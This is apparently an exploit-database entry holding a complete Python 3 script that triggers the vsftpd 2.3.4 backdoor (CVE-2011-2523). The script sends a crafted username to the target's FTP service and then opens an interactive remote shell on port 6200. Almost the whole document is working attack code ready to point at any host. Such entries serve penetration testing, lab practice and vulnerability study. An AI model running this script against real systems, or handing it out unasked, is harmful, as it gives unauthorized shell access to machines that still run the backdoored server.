vsftpd version 2.3.4 backdoor remote command execution exploit.
c0ee2bac855dfafeabb54e7bd1857abc123cf6d6f29f770b1d71d6f170376957
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()